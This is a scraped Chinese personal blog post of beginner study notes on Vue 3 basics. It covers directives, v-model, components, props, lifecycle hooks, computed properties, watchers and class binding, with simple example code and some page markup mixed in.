自定义指令（directive）\nvue允许指定义指令，例如：\n这里的abc指定的是当前元素\n局部指令：组件中接受directives选项\n指令的钩子函数\ncreated：当绑定元素的属性和事件监听器被应用之前调用\nbeforeMount：当指令第一次绑定到元素并且在挂载父组件之前调用\nmounted：绑定元素的父组件被挂载后调用\nbeforeUpdate：更新包含组件的VNode之前调用\nupdated：包含组件的VNode及其子组件的VNode更新后调用\nbeforeUnmount：在卸载绑定元素的父组件之前调用\nunmounted：当指令与元素解除绑定，并且父组件也被卸载时调用一次\n表单输入绑定\nv-model可以用于数据的双向绑定，但是v-model会忽略表单元素的初始值，而使用实例中的数据作为数据源（需要在data中声明初始值）\n复选框的数据绑定返回的是布尔值，也是可以将数据绑定到一个数组中，例如：\nhallo abc xyz data: {{datas}} 单选框（radio），数据存放在字符串中，输出的也是字符串（选择框和输入框也是字符串）\n如果想输入或者选择返回的不是字符串，而是其他类型，可以使用v-model.number，当然也是可以进行手动转类型，但是v-model.number可以自动判断输入是否是数字还是字符串\ntrue-value和false-value可以在被选中或者取消选中时触发，例如：\ndata: {{datas}} v-model.lazy是v-model数据双向绑定的懒加载，在每次input事件（失去焦点）触发后将输入框的值与数据进行同步\nv-model.trim可以自动过滤掉输入数据的首尾空格\n组件\n全局注册\napp.component\n局部注册\nconst componentA = {} components: { 'component-a': componentA, } 局部注册的组件，在其子组件是不可用的\n通过Props传递数据给子组件\n通过Props共享一些数据，例如：\napp.component('titles', { props: ['title'], template: `{{ title }}` }) 在上面的例子里，title=“hallo\"被传递数据给模板，任何值的可以传递给props，如果一个值被传递给props属性，那么这个值就成了这个组件实例的共享数据，这个值可以在模板中访问\n监听子组件事件\n使用自定义事件监听子组件，通过子组件事件来告诉父组件应该做什么，例如：\ntemplate: ` app ` 也可以在组件的emits中列出事件\napp.component({ emits: [\"hallomain\"] }) 事件也可以用来返回一个值 app 这个值可以使用$event访问到，事件也可以是指向方法的，用事件来触发方法的使用，例如：@hallomain= “hallo”\n给这个方法定义一下，在methods选项\n组件也可以使用v-model（model-value）\n如果是表单元素，例如input也想用自定义事件，需要将value绑定到props上，当input事件被触发时，就会将value通过自定义事件抛出，例如：\napp.component({ props: [\"valueData\"], emits: [\"hallomain\"], template: ` ","wordCount":"1628","inLanguage":"en","datePublished":"2021-06-16T10:13:00Z","dateModified":"2021-06-16T10:13:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/23/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>vuejs基础学习笔记</h1><div class=post-meta><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/vuejs%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3</p><p>vue全家桶：Vue+VueRouter+Vuex</p><p>vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视</p><p>导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用</p><p><a href=https://unpkg.com/vue@next>https://unpkg.com/vue@next</a></p><p>cjs版本：完整版，包含编译器</p><p>prod.js都是开发版，代码进行了压缩</p><p>global版本：可以直接通过scripts标签导入，会建立一个全局Vue对象</p><p>browser版本：包含esm,浏览器模块</p><p>bundler版本：该版本不是完整版，min</p><p>vuejs模板支持所有JavaScript表达式</p><p>vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&mldr;}}，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;p&gt;{{ hallovuejs }}&lt;/p&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                hallovuejs: &quot;hallo vuejs!&quot;
+            }
+        }
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;a v-bind:href=&quot;url&quot;&gt;{{ main }}&lt;/a&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                url:&quot;https://xiaochenabc123.test.com&quot;,
+                main: &quot;小陈的辣鸡屋&quot;
+            }
+        }
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图</p><p>而vue还提供了可以绑定事件的v-on属性，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;button v-on:click=&quot;go&quot;&gt;{{ main }}&lt;/button&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                main: &quot;hallo&quot;
+            }
+        },
+        methods: {
+            go: function(){
+                console.log(&quot;hallo vuejs&quot;);
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>v-on可以绑定多个事件，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;button @click=&quot;goclick&quot;@dblclick=&quot;yesclick&quot;&gt;{{ main }}&lt;/button&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                main: &quot;hallo&quot;
+            }
+        },
+        methods: {
+            goclick:function(event){
+                console.log(&quot;hallo vuejs&quot;)
+                console.log(event.target) // event.target可以获取到触发该事件的dom元素
+            },
+            yesclick:function(){
+                console.log(&quot;hallo word&quot;)
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>v-model可以进行数据的双向绑定，不但可以赋予元素中的数据，也可以获取元素中的数据，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;input v-model=&quot;main&quot;&gt;{{ main }}&lt;/input&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                main: &quot;hallo&quot;
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>v-show可以根据表达式的值来判断是否显示，方法和v-if一样，但是隐藏的方法是加上了display: none;，v-show不支持template和v-else，如果没有频繁切换的需求可选择v-if，频繁切换会重新渲染情况严重，而且v-show只是修改css属性而已</p><p>v-if可以进行条件判断，会根据表达式的值来判断，例如</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;span v-if=&quot;yes_no&quot;&gt;{{ main }}&lt;/span&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                yes_no: true,
+                main: &quot;hallo&quot;
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>当值为false时，该元素就会被隐藏</p><p>v-else 该指令必须跟着v-if或者v-else-if指令的元素的后面，否则不会被识别，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;span v-if=&quot;yes_no&quot;&gt;{{ main }}&lt;/span&gt;
+    &lt;span v-else&gt;这是v-if判断为假时渲染，v-if判断为真时不渲染&lt;/span&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                yes_no: false,
+                main: &quot;hallo&quot;
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>v-else-if，必须前面的元素中有v-if或者v-else-if指令，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;span v-if=&quot;yes_no == 'yes'&quot;&gt;yes_no == yes&lt;/span&gt;
+    &lt;span v-else-if=&quot;yes_no == 'no'&quot;&gt;yes_no == no&lt;/span&gt;
+    &lt;span v-else&gt;yes_no != no||yes&lt;/span&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                yes_no: &quot;yes&quot;,
+                yes: &quot;yes&quot;,
+                no: &quot;no&quot;,
+                main: &quot;hallo&quot;
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>v-for可以多次渲染元素，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;ul&gt;
+        &lt;li v-for=&quot;a in arr&quot;&gt;
+            {{a}}
+        &lt;/li&gt;
+    &lt;/ul&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                arr:[
+                    &quot;hallo&quot;,
+                    &quot;abc&quot;,
+                    &quot;xyz&quot;,
+                    &quot;yes&quot;,
+                    &quot;no&quot;
+                ]
+            }
+        }
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>注意：当v-for和v-if出现在同级时，v-for优先级比v-if高，因此不要在v-for下，使用v-if过滤，应该在v-if下使用v-for，v-if应该使用&lt;template>（&lt;template>不会创建dom元素）</p><p>v-html可以插入html</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;span v-html=&quot;main&quot;&gt;&lt;/span&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data() {
+            return {
+                main: &quot;&lt;p&gt;hallo word&lt;/p&gt;&quot;
+            }
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>v-once表示该元素或者组件只渲染一次，后面不会因为数据的改变而重新渲染</p><p>动态参数的实现</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+&lt;/div&gt;
+
+const hallo = {
+    data() {
+        return {
+            main: &quot;hallo&quot;,
+            abc: &quot;classa&quot;
+        }
+    },
+    template: `&lt;h1 :[abc] = &quot;main&quot;&gt;hallo word&lt;/h1&gt;`
+}
+Vue.createApp(hallo).mount(&quot;#app&quot;)
+</code></pre><p>vuejs提供了一个叫组件的概念，将重复的程序进行封装，用这些被封装的组件来构建大型应用，可以理解为积木</p><p>根组件：挂载应用时，该组件被认为是渲染的起点</p><p>如果想挂载一个应用到id为app的dom元素中，那么就需要挂载#app，通过一个vue实例，调用其component()方法，创建一个组件</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;hallo v-for=&quot;item in groceryList&quot; v-bind:todo=&quot;item&quot; v-bind:key=&quot;item.id&quot;&gt;&lt;/hallo&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const main ={
+        data(){
+            return{
+                groceryList: [
+                    {id:0,text:&quot;abc&quot;},
+                    {id:1,text:&quot;xyz&quot;},
+                    {id:2,text:&quot;hallo&quot;}
+                ]
+            }
+        }
+    } 
+    const app = Vue.createApp(main)
+    app.component(&quot;hallo&quot;,{
+        props: [&quot;todo&quot;],
+        template: `&lt;h1&gt;{{todo.text}}&lt;h1&gt;`
+    })
+    app.mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例</p><p>页面是这些组件的容器，因此，组件在页面中表达出来的是原生html</p><p>模板（template）：模板定义了数据和html dom的绑定关系</p><p>初始数据（data）：组件的初始数据，组件具有作用域，因此是处于封装私有状态的</p><p>接收的外部参数（props）：组件之间通过该参数进行数据的传递和分享(单向，只能从父组件中获取，不能进行修改,父传子)</p><p>方法（methods）：对数据的改动一般都在组件的方法内进行操作，通过v-on指令把输入事件和组件方法进行绑定</p><p>生命周期钩子（lifecycle hooks）：每个实例都会触发多个生命周期钩子，从创建到废弃的过程就是生命周期，可以在不同时候进行逻辑处理，另外还有组件生命周期</p><p>组件：一种对数据和方法的封装</p><p>mount()返回的是组件实例</p><p>组件实例：组件继承于组件，通过createApp()建立组件实例</p><p>当需要进行数据计算处理时，例如将两个数据合并，如果通过正常的表达式来表示，那么一旦数据处理复杂了，程序会显得很繁杂，vuejs中提供了一个叫计算属性的东西，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    {{hallo}}
+&lt;/div&gt;
+&lt;script&gt;
+    Vue.createApp({
+        data() {
+            return {
+               yes:{
+                    main: &quot;abc&quot;
+               }
+            }
+        },
+        computed: {
+            hallo() {
+                return &quot;hallo&quot;+&quot; &quot;+this.yes.main
+            }
+        }
+    }).mount('#app')
+&lt;/script&gt;
+</code></pre><p>样式绑定</p><pre><code>&lt;style&gt;
+    .abc{
+        width: 100px;
+        height: 100px;
+        background-color: #ccc;
+    }
+&lt;/style&gt;
+
+&lt;div id=&quot;app&quot;&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const app = Vue.createApp({
+    data() {
+        return {
+            classdata: &quot;abc&quot;
+        }
+    },
+    template: `
+        &lt;div :class = &quot;classdata&quot;&gt;hallo word&lt;/div&gt;
+    `
+})
+app.mount('#app')
+&lt;/script&gt;
+</code></pre><p>组件是可重复使用的实例，例如：</p><pre><code>&lt;div class=&quot;app&quot;&gt;
+    &lt;test&gt;&lt;/test&gt;
+    &lt;test&gt;&lt;/test&gt;
+&lt;/div&gt;
+
+const app = Vue.createApp({})
+app.component(&quot;test&quot;,{
+    data() {
+        return {
+            abc: &quot;hallo&quot;
+        }
+    },
+    template: `
+        &lt;div&gt;
+            {{abc}} word
+        &lt;/div&gt;`
+})
+app.mount(&quot;#app&quot;)
+</code></pre><p>全局组件</p><p>一般来说组件的数据是独享的，只有全局组件才能进行数据访问，例如：</p><pre><code>const app = Vue.createApp({
+    template: `
+        &lt;div&gt;
+            &lt;test&gt;&lt;/test&gt;
+            &lt;abc&gt;&lt;abc&gt;
+        &lt;/div&gt;
+    `
+        // 父组件
+})
+
+app.component(&quot;test&quot;,{
+    template: `&lt;abc&gt;&lt;abc&gt;`
+        // 全局组件
+})
+
+app.component(&quot;abc&quot;,{
+    data() {
+        return {
+            text: &quot;hallo word&quot;
+        }
+    },
+    template: ` &lt;div&gt;{{text}}&lt;/div&gt; ` 
+        // 全局组件
+})
+
+app.mount('#app')
+</code></pre><p>abc组件分享了数据给test组件</p><p>局部组件</p><pre><code>&lt;test&gt;&lt;/test&gt;
+&lt;Test_datea&gt;&lt;/Test_datea&gt;
+
+
+const Test_date ={
+    template: &quot;&lt;p&gt;hallo word&lt;/p&gt;&quot;
+    // 局部组件
+}
+const Test_datea ={
+    template: &quot;&lt;p&gt;hallo hhh&lt;/p&gt;&quot;
+    // 局部组件
+}
+const app = Vue.createApp({
+    components: {
+        &quot;test&quot; :Test_date
+        Test_datea
+    }
+}).mount('#app')
+</code></pre><p>其中test为组件名，指向了Test_date局部组件，</p><p>父子组件之间传递数据</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;test :name=&quot;text&quot;&gt;&lt;/test&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const app = Vue.createApp({
+    data() {
+        return {
+             text: &quot;hallo&quot;,
+        }
+    }
+})
+app.component(&quot;test&quot;,{
+    props: [&quot;name&quot;],
+    template: `&lt;p&gt;{{name}}&lt;/p&gt;`
+})
+app.mount('#app')
+&lt;/script&gt;
+</code></pre><p>静态传值只能传字符串类型，如果要传其他数据类型或者想动态传递数据，可以使用v-bind</p><p>通过循环来输出一组数据</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;test v-for=&quot;data in datas&quot; :key=&quot;data.id&quot; :href=&quot;data.url&quot; :text=&quot;data.text&quot;&gt;&lt;/test&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const app = Vue.createApp({
+    data() {
+        return {
+            datas: [
+                {id: 1, url: &quot;https://xiaochenabc123.test.com&quot;, text: &quot;hallo&quot;},
+                {id: 2, url: &quot;https://test.xiaochenabc123.test.com&quot;, text: &quot;abcxyz&quot;}
+            ]
+        }
+    }
+})
+app.component(&quot;test&quot;,{
+    props: [&quot;text&quot;],
+    template: `&lt;a&gt;&lt;p&gt;{{text}}&lt;/p&gt;&lt;/a&gt;`
+})
+app.mount('#app')
+&lt;/script&gt;
+</code></pre><p>传值校验</p><p>props中的值进行验证，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;test text=&quot;123&quot; url=&quot;https://xiaochenabc123.test.com&quot; main=&quot;yes&quot; ifmain=11&gt;&lt;/test&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const app = Vue.createApp({})
+app.component(&quot;test&quot;,{
+    props: {
+        text: String, // 基本类型验证 null和undefined会通过任何类型验证，如果不是这个类型，将返回警告
+        url: [Number,String], // 多个类型验证，当数据不是这的类型
+        main: {
+            type: String, // 类型String，必填，如果设置没有该值
+            required: true
+        },
+        hallo: {
+            type: String, //  类型String，带默认值default
+            default: &quot;hallo vuejs&quot;
+        },
+        obj: {
+            type: Object, // 类型Object，带默认值函数
+            default: function(){
+                return{
+                    text: &quot;abc&quot;
+                }
+            }
+        },
+        ifmain: { 
+            validator: function(value){
+                return(value&gt;10)  // 验证函数
+            }
+        }
+    },
+    template: `
+        &lt;p&gt;{{text}}&lt;/p&gt;
+        &lt;p&gt;{{url}}&lt;/p&gt;
+        &lt;p&gt;{{main}}&lt;/p&gt;
+        &lt;p&gt;{{hallo}}&lt;/p&gt;
+        &lt;p&gt;{{obj}}&lt;/p&gt;
+        &lt;p&gt;{{ifmain}}&lt;/p&gt;
+    `
+})
+app.mount('#app')
+&lt;/script&gt;
+</code></pre><hr><p>vuejs事件修饰符</p><p>.stop：阻止冒泡事件的发生，只触发自身的事件，一个子元素定义了事件，但是它的父元素也定义了一个事件，而且这两个事件的触发机制还是一样的，那么就会导致这两个事件都触发，而想避免发生就需要在目标元素上的事件加上.stop，例如：</p><pre><code>&lt;div id=&quot;app&quot; @click = &quot;divclick&quot;&gt;
+    &lt;input type=&quot;button&quot; value=&quot;GO&quot; @click.stop = &quot;inputclick&quot;&gt;
+&lt;/div&gt;
+</code></pre><p>.prevent：拦截默认事件的发生，有一些标记拥有自身的默认事件，例如a标记，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;a href=&quot;https://xiaochenabc123.test.com&quot; @click.prevent = &quot;alinkclick&quot;&gt;{{data}}&lt;/a&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const hallo ={
+        data(){
+            return{
+                data: &quot;GO&quot;
+            }
+        },
+        methods: {
+            alinkclick: function(){
+                console.log(&quot;hallo&quot;)
+            },
+        },
+    }
+    Vue.createApp(hallo).mount(&quot;#app&quot;)
+&lt;/script&gt;
+</code></pre><p>这里阻止了a标记的默认事件</p><p>.capture：捕获事件，当发生冒泡事件时，先触发带有该修饰符的，如果有多个，则从父元素到子元素触发</p><p>触发机制：优先触发带有.capture的，然后再按照从内往外的冒泡</p><p>.self：只有当事件在该元素上时才触发，冒泡和捕获都无法让其触发事件，只要当事件发生在该元素本身才会触发</p><p>.once：指定该绑定的事件只会触发一次</p><p>.stop和.self的区别：.stop会阻止全部冒泡事件，而.self只阻止自身的冒泡</p><p>.passive：每一次发生事件，浏览器都去查询有没有preventDefault来阻止该事件的默认行为，.passive就是来声明，没有使用preventDefault来阻止该事件的默认行为，因为其是告诉没有使用阻止事件的默认行为，所有passive是和prevent冲突，不能一起使用，否则.prevent会被忽略</p><p>因为在移动端，一般都是监听滚动事件比较多，而每移动一次都会触发一次事件，会进行查询有没有使用prevent，可能会导致滑动卡顿，使用passive能有效提升移动端的性能和流畅度</p><hr><p>生命周期钩子函数会在某一些特定的时刻自动触发，方便在该时刻完成一些工作</p><p>vue实例生命周期</p><p>vue实例的创建，运行，到销毁期间，会触发一些叫生命周期钩子的函数，可以通过该来监听数据变化</p><p>按照生命周期排序：</p><p>beforeCreate：实例刚刚初始化之后，数据观察和事件机制（data 和 methods）都还未初始化，不能获取dom节点</p><p>created：数据观察和事件机制（data 和 methods）都已经初始化，dom节点处理完成，组件未加载</p><p>beforeMount：实例已经加载完毕，但是还没有执行挂载操作，得不到具体的DOM元素</p><p>mounted：实例已经加载完毕，也执行了挂载操作，DOM已被渲染出来</p><p>beforeUpdate：处于数据更新之前，data中的值是最新的，但是页面上还是旧的数据，还没有重新处理dom节点</p><p>updated：处于数据更新之后，data中的值和页面上的数据都已经更新，dom节点也被重新处理</p><p>beforeUnmount：实例销毁之前，实例还是在可用状态，可使用this获取实例</p><p>unmounted：实例销毁后，数据绑定和事件监听器全部清除，子实例销毁</p><p>例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;&lt;/div&gt;
+
+
+const app = Vue.createApp({
+    data(){
+        return{
+            message: 'hallo word'
+        }
+    },
+    beforeCreate() {
+        console.log(&quot;beforeCreate&quot;)
+    },
+    created() {
+        console.log(&quot;created&quot;)
+    },
+    beforeMount(){
+        console.log(&quot;beforeMount&quot;)
+    },
+    mounted() {
+        console.log(&quot;mounted&quot;)
+    },
+    beforeUpdate() {
+        console.log(&quot;beforeUpdate&quot;)
+    },
+    updated() {
+        console.log(&quot;updated&quot;)
+    },
+    beforeUnmount() {
+        console.log(&quot;beforeUnmount&quot;)
+    },
+    unmounted() {
+        console.log(&quot;unmounted&quot;)
+    },
+    template: &quot;&lt;h2&gt;{{message}}&lt;/h2&gt;&quot;
+    
+})
+let main = app.mount(&quot;#app&quot;)
+setTimeout(()=&gt;{
+    main.$data.message = 'abc' // 挂载3秒后触发更新事件
+},3000)
+setTimeout(() =&gt; {
+    app.unmount() // 6秒后触发销毁事件
+}, 6000)
+</code></pre><p>访问组件的生命周期</p><p>vue组件周期</p><p>实例生命周期加on就是组件周期</p><p>beforeCreate和created统一为setup()</p><p>beforeMount为onBeforeMout，mounted为onMounted，beforeUpdate为onBeforeUpdate，updated为onUpdated，beforeUnmount为onBeforeUnmount，unmounted为onUnmounted</p><p>setup：data 和 method 都已经初始化</p><p>onBeforeMount：组件被挂载到dom节点之前</p><p>onMounted：组件被挂载到dom节点完毕</p><p>onBeforeUpdate：组件更新之前</p><p>onUpdated：组件更新之后</p><p>onBeforeUnmount：组件销毁之前</p><p>onUnmounted：组件销毁完毕之后</p><p>onErrorCaptured：当捕获到来自子孙组件的异常时</p><p>onRenderTracked：当虚拟DOM重新渲染时调用</p><p>onRenderTriggered：当虚拟DOM重新渲染被触发时调用</p><p>onActivated：当被包含在中的组件时</p><p>onDeactivated: 当被包含在中的组件发生改变时（例如切换组件，原来的组件销毁时）</p><p>注意：使用的组件会把数据保留在内存中，避免需要重新加载多次数据</p><hr><p>实例的data()是一个函数，并非方法，vue在创建vue的组件实例过程中会调用该函数，以$data的形式进行存储在vue实例中，data中的所有值都可以通过实例来暴露（访问或者修改），例如：</p><pre><code>const hallo = Vue.createApp({
+    data() {
+        return {
+            hallovuejs: &quot;hallo vuejs!&quot;
+        }
+    }
+}).mount(&quot;#app&quot;)
+console.log(hallo.$data.hallovuejs)
+console.log(hallo.hallovuejs)
+</code></pre><hr><p>方法</p><p>vue允许使用methods向组件实例添加方法</p><p>vue会自动为methods绑定this，使其始终指向组件实例</p><p>methods一样可以在组件模板中暴露，也可以在模板中用做事件监听</p><pre><code>&lt;div @click=&quot;alinkclick&quot;&gt;&lt;/div&gt;
+</code></pre><hr><p>计算属性</p><p>计算属性和方法的区别就是：计算属性只在其依赖发生变化才重新计算，只要依赖未发生改变，那么就会直接从缓存中获取，不会再执行其函数</p><p>如果使用一个方法来计算时，那么data()返回的值，发生一次改变，事件方法就会重新计算一次，因此涉及计算类的使用计算属性，而不是方法</p><p>例如：</p><pre><code>const app = Vue.createApp({
+    data() {
+        return {
+            hallovuejs: &quot;hallo vuejs!&quot;
+        }
+    },
+    computed: {
+        hallo(){
+            return this.hallovuejs == &quot;hallo vuejs!&quot; ? &quot;Yes&quot; : &quot;No&quot;
+        }
+    }
+}).mount(&quot;#app&quot;)
+</code></pre><hr><p>watch监听器</p><p>watch接收2个参数，被监听的data()属性值，回调函数，当监听的变量发生改变时，自动执行回调函数，例如</p><pre><code>const app = Vue.createApp({
+    data() {
+        return {
+            num: 100
+        }
+    },
+    watch: {
+        num(current, prev) {
+            console.log('num发生改变')
+            console.log(&quot;改变之后的值:&quot;, current)
+            console.log(&quot;改变之前的值:&quot;, prev)
+        }
+    }
+})
+let vm = app.mount(&quot;#app&quot;)
+vm.num = 300
+vm.$data.num = 600
+</code></pre><p>另外一种使用方法</p><pre><code>const count = ref(100) 
+watch(count,(current, prev) =&gt; {
+    console.log('num发生改变')
+    console.log(&quot;改变之后的值:&quot;,current)
+    console.log(&quot;改变之前的值:&quot;,prev)
+})
+</code></pre><p>watch和计算属性的区别：虽然都可以监听data()属性值的改变，但是计算属性会在页面渲染时触发一次，而watch只在被监听的发生改变时触发，而且watch可以得到改变之后的值和改变之前的值</p><p>watch可以监听多个值</p><hr><p>class绑定</p><p>vue允许使用:class对象来动态切换class，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;p :class=&quot;{container: yes,nav: no}&quot;&gt;&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            yes: true,
+            no: false
+        }
+    }
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>而class的存在取决于键值对的值，允许传入多个值，也可以直接调用对象，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;p :class=&quot;classnav&quot;&gt;&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            classnav: {
+                container: false,
+                nav: true
+            }
+        }
+    }
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>vue也允许通过数组来传入class，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;p :class=&quot;[classnav,classa]&quot;&gt;&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            classnav: &quot;nav&quot;,
+            classa: &quot;texta&quot;
+        }
+    }
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>同样也允许使用三元表达式，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;p :class=&quot;[no ? classnav: '',classa]&quot;&gt;&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+           no: false,
+           classa: &quot;texta&quot;
+        }
+    }
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>始终添加classa，classnav取决已经no的值</p><p>vue也是允许在数组中使用对象来处理</p><p>如果在组件中已经绑定了class，而在调用其又加上其他class，那么就会合并，vue允许在组件中进行:class，如果有多个元素，在调用时绑定class，但是又想指定其class给予某个，可以使用$attrs组件属性，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;test class=&quot;nav&quot;&gt;&lt;/test&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({}).component(&quot;test&quot;,{
+    template: `
+        &lt;div&gt;hallo&lt;/div&gt;
+        &lt;div :class=&quot;$attrs.class&quot;&gt;vuejs&lt;/div&gt;
+        `
+}).mount('#app')
+&lt;/script&gt;
